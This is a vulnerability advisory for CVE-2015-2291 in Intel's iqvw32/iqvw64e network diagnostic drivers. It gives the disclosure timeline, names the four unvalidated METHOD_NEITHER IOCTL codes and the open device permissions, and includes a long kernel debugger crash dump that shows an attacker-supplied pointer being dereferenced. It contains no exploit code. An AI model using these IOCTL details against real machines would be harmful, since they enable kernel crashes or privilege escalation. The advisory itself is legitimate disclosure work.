724 lines
No EOL
35 KiB
Text
724 lines
No EOL
35 KiB
Text
/*
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Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability
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Vendor: Intel
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Product webpage: http://www.intel.com
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Affected product(s):
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Network Adapter Driver for Windows XP
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Network Adapter Driver for Windows 7
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Network Adapter Driver for Windows 8
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Network Adapter Driver for Windows 2008/R2
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Network Adapter Driver for Windows 2012/R2
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Affected version(s):
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Intel(R) iQVW64.SYS v1.03.0.7
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Intel(R) iQVW32.SYS v1.03.0.7
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Tested Operating systems:
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Windows XP SP3 (32-bit)
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Windows 7 SP1 (32/64-bit)
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Date: 14/03/2015
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Credits: Glafkos Charalambous
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CVE: CVE-2015-2291
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Disclosure Timeline:
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10-06-2014: Vendor Notification
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21-06-2014: Vendor Response/Feedback
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08-08-2014: Vendor Response/Feedback
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26-08-2014: Requesting Status/No Vendor Response
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30-09-2014: Requesting Status/No Vendor Response
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22-10-2014: Requesting Status/No Vendor Response
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10-01-2015: Requesting Status/No Vendor Response
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15-01-2015: Requesting Status/No Vendor Response
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14-03-2015: CVE Requested
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14-03-2015: CVE Assigned
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14-03-2015: Public Disclosure
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Description:
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A vulnerability in iqvw32.sys and iqvw64e.sys drivers has been discovered in Intel Network Adapter Driver.
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The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes 0x80862013,
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0x8086200B, 0x8086200F, 0x80862007 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write
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access to privileged use only functionality.
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Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.
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IOCTL 0x80862013
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----------------
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Microsoft (R) Windows Debugger Version 6.2.9200.20512 AMD64
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Copyright (c) Microsoft Corporation. All rights reserved.
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Opened \\.\pipe\com_2
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Waiting to reconnect...
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Connected to Windows 7 7601 x64 target at (Thu Feb 26 18:33:59.291 2015 (UTC + 2:00)), ptr64 TRUE
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Kernel Debugger connection established.
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Symbol search path is: srv*k:\symbols*http://msdl.microsoft.com/download/symbols;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\google*http://chromium-browser-symsrv.commondatastorage.googleapis.com;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\microsoft*http://msdl.microsoft.com/download/symbols
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Executable search path is:
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Windows 7 Kernel Version 7601 MP (1 procs) Free x64
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Built by: 7601.18700.amd64fre.win7sp1_gdr.141211-1742
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Machine Name:
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Kernel base = 0xfffff800`03655000 PsLoadedModuleList = 0xfffff800`03898890
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System Uptime: not available
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KDTARGET: Refreshing KD connection
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*** Fatal System Error: 0x0000003b
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(0x00000000C0000005,0xFFFFF88005A0BFD2,0xFFFFF8800653A9C0,0x0000000000000000)
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Break instruction exception - code 80000003 (first chance)
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A fatal system error has occurred.
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Debugger entered on first try; Bugcheck callbacks have not been invoked.
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A fatal system error has occurred.
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Connected to Windows 7 7601 x64 target at (Thu Feb 26 20:29:05.978 2015 (UTC + 2:00)), ptr64 TRUE
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Loading Kernel Symbols
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...............................................................
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................................................................
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...............................
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Loading User Symbols
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.....
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Loading unloaded module list
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....Unable to enumerate user-mode unloaded modules, Win32 error 0n30
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Loading Wow64 Symbols
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.....
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*******************************************************************************
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* *
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* Bugcheck Analysis *
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* *
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*******************************************************************************
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Use !analyze -v to get detailed debugging information.
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BugCheck 3B, {c0000005, fffff88005a0bfd2, fffff8800653a9c0, 0}
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*** ERROR: Module load completed but symbols could not be loaded for iqvw64e.sys
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Followup: MachineOwner
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---------
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nt!RtlpBreakWithStatusInstruction:
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fffff800`036c3cb0 cc int 3
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3: kd> !analyze -v
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*******************************************************************************
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* *
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* Bugcheck Analysis *
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* *
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*******************************************************************************
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SYSTEM_SERVICE_EXCEPTION (3b)
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An exception happened while executing a system service routine.
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Arguments:
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Arg1: 00000000c0000005, Exception code that caused the bugcheck
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Arg2: fffff88005a0bfd2, Address of the instruction which caused the bugcheck
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Arg3: fffff8800653a9c0, Address of the context record for the exception that caused the bugcheck
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Arg4: 0000000000000000, zero.
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Debugging Details:
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------------------
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EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
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FAULTING_IP:
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iqvw64e+3fd2
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fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
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CONTEXT: fffff8800653a9c0 -- (.cxr 0xfffff8800653a9c0)
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rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
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rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
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rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
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r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
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r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
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r14=0000000000000001 r15=fffffa804aac7b00
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iopl=0 nv up ei pl nz na pe nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010202
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iqvw64e+0x3fd2:
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fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx] ds:002b:00000000`deadbeef=????????????????
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Resetting default scope
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DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
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BUGCHECK_STR: 0x3B
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PROCESS_NAME: ConsoleApplica
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CURRENT_IRQL: 2
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LAST_CONTROL_TRANSFER: from fffff88005a091ac to fffff88005a0bfd2
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STACK_TEXT:
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fffff880`0653b3a0 fffff880`05a091ac : fffffa80`4aac7b00 00000000`00000001 fffffa80`4d1084d0 fffffa80`4d01e160 : iqvw64e+0x3fd2
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fffff880`0653b8a0 fffff800`039e80f7 : 00000000`80862013 fffff880`0653bb60 fffffa80`4d1084d0 fffffa80`4d01e160 : iqvw64e+0x11ac
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fffff880`0653b8d0 fffff800`039e8956 : fffff680`003b5ee8 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x607
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fffff880`0653ba00 fffff800`036cb113 : 00000000`0021df01 0000007f`ffffffff 00000000`0021df00 00000980`00000000 : nt!NtDeviceIoControlFile+0x56
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fffff880`0653ba70 00000000`73b02e09 : 00000000`73b02944 00000000`775a01b4 00000000`73b70023 00000000`00000246 : nt!KiSystemServiceCopyEnd+0x13
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00000000`0021e898 00000000`73b02944 : 00000000`775a01b4 00000000`73b70023 00000000`00000246 00000000`001dff7c : wow64cpu!CpupSyscallStub+0x9
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00000000`0021e8a0 00000000`73b7d286 : 00000000`00000000 00000000`73b01920 00000000`0021eb30 00000000`773decf1 : wow64cpu!DeviceIoctlFileFault+0x31
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00000000`0021e960 00000000`73b7c69e : 00000000`00000000 00000000`00000000 00000000`73b74b10 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa
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00000000`0021e9b0 00000000`773f4966 : 00000000`003331f0 00000000`00000000 00000000`774e2670 00000000`774b5978 : wow64!Wow64LdrpInitialize+0x42a
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00000000`0021ef00 00000000`773f1937 : 00000000`00000000 00000000`773f4071 00000000`0021f4b0 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e3
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00000000`0021f3f0 00000000`773dc34e : 00000000`0021f4b0 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`string'+0x28ff0
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00000000`0021f460 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe
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FOLLOWUP_IP:
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iqvw64e+3fd2
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fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
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SYMBOL_STACK_INDEX: 0
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SYMBOL_NAME: iqvw64e+3fd2
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FOLLOWUP_NAME: MachineOwner
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MODULE_NAME: iqvw64e
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IMAGE_NAME: iqvw64e.sys
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DEBUG_FLR_IMAGE_TIMESTAMP: 5284eac3
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STACK_COMMAND: .cxr 0xfffff8800653a9c0 ; kb
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FAILURE_BUCKET_ID: X64_0x3B_iqvw64e+3fd2
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BUCKET_ID: X64_0x3B_iqvw64e+3fd2
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Followup: MachineOwner
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---------
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3: kd> u fffff880`05a0bfd2
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iqvw64e+0x3fd2:
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fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
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fffff880`05a0bfd5 488d0d14160000 lea rcx,[iqvw64e+0x55f0 (fffff880`05a0d5f0)]
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fffff880`05a0bfdc e84fdfffff call iqvw64e+0x1f30 (fffff880`05a09f30)
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fffff880`05a0bfe1 488b17 mov rdx,qword ptr [rdi]
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fffff880`05a0bfe4 488d42ff lea rax,[rdx-1]
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fffff880`05a0bfe8 4883f807 cmp rax,7
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fffff880`05a0bfec 0f8718020000 ja iqvw64e+0x420a (fffff880`05a0c20a)
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fffff880`05a0bff2 488d0d07c0ffff lea rcx,[iqvw64e (fffff880`05a08000)]
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3: kd> !for_each_frame .frame /r @$Frame
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
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00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
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rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
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rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
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rip=fffff800036c3cb0 rsp=fffff88006539988 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
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r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
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r14=0000000040000082 r15=0000000000000003
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iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!RtlpBreakWithStatusInstruction:
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fffff800`036c3cb0 cc int 3
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
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01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
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rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
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rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
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rip=fffff800037bba62 rsp=fffff88006539990 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
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r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
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r14=0000000040000082 r15=0000000000000003
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iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!KiBugCheckDebugBreak+0x12:
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fffff800`037bba62 eb75 jmp nt!KiBugCheckDebugBreak+0x89 (fffff800`037bbad9)
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
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02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
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rax=0000000000000000 rbx=0000000000000065 rcx=0000000000000003
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rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
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rip=fffff800037bc84e rsp=fffff880065399f0 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
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r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
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r14=0000000040000082 r15=0000000000000003
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iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!KeBugCheck2+0x71e:
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fffff800`037bc84e eb11 jmp nt!KeBugCheck2+0x731 (fffff800`037bc861)
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
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03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
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rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
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rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
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rip=fffff800036cbf84 rsp=fffff8800653a0c0 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
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r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
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r14=fffff800036cad00 r15=0000000000000000
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iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!KeBugCheckEx+0x104:
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fffff800`036cbf84 90 nop
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
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04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
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rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
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rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
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rip=fffff800036cb429 rsp=fffff8800653a100 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
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r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
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r14=fffff800036cad00 r15=0000000000000000
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iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!KiBugCheckDispatch+0x69:
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fffff800`036cb429 90 nop
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
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05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
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rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
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rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
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rip=fffff800036cad7c rsp=fffff8800653a240 rbp=0000000000000000
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r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
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r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
|
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r14=fffff800036cad00 r15=0000000000000000
|
|
iopl=0 nv up ei ng nz na po nc
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cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
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nt!KiSystemServiceHandler+0x7c:
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fffff800`036cad7c b801000000 mov eax,1
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
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06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
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06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
|
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rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
|
|
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
|
|
rip=fffff800036f6a4d rsp=fffff8800653a280 rbp=0000000000000000
|
|
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
|
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
|
|
r14=fffff800036cad00 r15=0000000000000000
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!RtlpExecuteHandlerForException+0xd:
|
|
fffff800`036f6a4d 90 nop
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
|
|
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
|
|
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
|
|
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
|
|
rip=fffff800036f5825 rsp=fffff8800653a2b0 rbp=0000000000000000
|
|
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
|
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
|
|
r14=fffff800036cad00 r15=0000000000000000
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!RtlDispatchException+0x415:
|
|
fffff800`036f5825 0fba257fc51d0017 bt dword ptr [nt!NtGlobalFlag (fffff800`038d1dac)],17h
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|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
|
|
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
|
|
rax=0000000000000000 rbx=fffff8800653b168 rcx=0000000000000003
|
|
rdx=000000000000008a rsi=fffff8800653b210 rdi=00000000deadbeef
|
|
rip=fffff800037067b1 rsp=fffff8800653a990 rbp=fffff8800653aec0
|
|
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
|
r11=fffff88006539610 r12=fffff8800653a9c0 r13=000000000010001f
|
|
r14=fffff8800653b030 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!KiDispatchException+0x135:
|
|
fffff800`037067b1 84c0 test al,al
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
|
|
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
|
|
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
|
|
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
|
|
rip=fffff800036cb502 rsp=fffff8800653b030 rbp=fffff8800653b290
|
|
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
|
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
|
|
r14=0000000000000001 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!KiExceptionDispatch+0xc2:
|
|
fffff800`036cb502 488d8c2400010000 lea rcx,[rsp+100h]
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
|
|
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
|
|
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
|
|
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
|
|
rip=fffff800036ca07a rsp=fffff8800653b210 rbp=fffff8800653b290
|
|
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
|
|
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
|
|
r14=0000000000000001 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!KiPageFault+0x23a:
|
|
fffff800`036ca07a 440f20c0 mov rax,cr8
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
|
|
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
|
|
rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
|
|
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
|
|
r14=0000000000000001 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
iqvw64e+0x3fd2:
|
|
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
|
|
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
|
|
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
|
|
rip=fffff88005a091ac rsp=fffff8800653b8a0 rbp=fffff8800653bb60
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
|
|
r14=0000000000000001 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
iqvw64e+0x11ac:
|
|
fffff880`05a091ac 8bd8 mov ebx,eax
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
|
|
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
|
|
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
|
|
rip=fffff800039e80f7 rsp=fffff8800653b8d0 rbp=fffff8800653bb60
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
|
|
r14=0000000000000001 r15=fffffa804aac7b00
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!IopXxxControlFile+0x607:
|
|
fffff800`039e80f7 448be0 mov r12d,eax
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
|
|
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
|
|
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
|
|
rip=fffff800039e8956 rsp=fffff8800653ba00 rbp=fffff8800653bb60
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
|
|
r14=000000000021e910 r15=0000000073b02450
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!NtDeviceIoControlFile+0x56:
|
|
fffff800`039e8956 4883c468 add rsp,68h
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
|
|
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
|
|
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
|
|
rip=fffff800036cb113 rsp=fffff8800653ba70 rbp=fffff8800653bb60
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
|
|
r14=000000000021e910 r15=0000000073b02450
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
nt!KiSystemServiceCopyEnd+0x13:
|
|
fffff800`036cb113 65ff042538220000 inc dword ptr gs:[2238h]
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
|
|
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
|
|
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
|
|
rip=0000000073b02e09 rsp=000000000021e898 rbp=00000000001dfe68
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
|
|
r14=000000000021e910 r15=0000000073b02450
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
wow64cpu!CpupSyscallStub+0x9:
|
|
00000000`73b02e09 c3 ret
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
|
|
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
|
|
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
|
|
rip=0000000073b02944 rsp=000000000021e8a0 rbp=00000000001dfe68
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
|
|
r14=000000000021e910 r15=0000000073b02450
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
wow64cpu!DeviceIoctlFileFault+0x31:
|
|
00000000`73b02944 488b4c2420 mov rcx,qword ptr [rsp+20h]
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
|
|
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
|
|
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
|
|
rip=0000000073b7d286 rsp=000000000021e960 rbp=000000000021e9d0
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
|
|
r14=0000000000000001 r15=ffffffffffffffff
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
wow64!RunCpuSimulation+0xa:
|
|
00000000`73b7d286 eb00 jmp wow64!RunCpuSimulation+0xc (00000000`73b7d288)
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
|
|
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
|
|
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
|
|
rip=0000000073b7c69e rsp=000000000021e9b0 rbp=000000000021e9d0
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
|
|
r14=0000000000000001 r15=ffffffffffffffff
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
wow64!Wow64LdrpInitialize+0x42a:
|
|
00000000`73b7c69e cc int 3
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
|
|
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
|
|
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=00000000774e2670 rdi=00000000774b5978
|
|
rip=00000000773f4966 rsp=000000000021ef00 rbp=00000000773b0000
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=00000000774e2520 r13=0000000000000000
|
|
r14=00000000774e2650 r15=000000007efdf000
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
ntdll!LdrpInitializeProcess+0x17e3:
|
|
00000000`773f4966 eb00 jmp ntdll!LdrpInitializeProcess+0x1c12 (00000000`773f4968)
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
|
|
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
|
|
rax=0000f88005a696d1 rbx=000000007efdf000 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=000000007efdb000 rdi=0000000000000000
|
|
rip=00000000773f1937 rsp=000000000021f3f0 rbp=0000000000000000
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=000000000021f4b0 r13=00000000773b0000
|
|
r14=0000000000000001 r15=000000007740a220
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
ntdll! ?? ::FNODOBFM::`string'+0x28ff0:
|
|
00000000`773f1937 89442430 mov dword ptr [rsp+30h],eax
|
|
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
|
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
|
|
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
|
|
rax=0000f88005a696d1 rbx=000000000021f4b0 rcx=00000000deadbeef
|
|
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000000
|
|
rip=00000000773dc34e rsp=000000000021f460 rbp=0000000000000000
|
|
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
|
|
r11=fffff8800653b898 r12=0000000000000000 r13=0000000000000000
|
|
r14=0000000000000000 r15=0000000000000000
|
|
iopl=0 nv up ei ng nz na po nc
|
|
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
|
|
ntdll!LdrInitializeThunk+0xe:
|
|
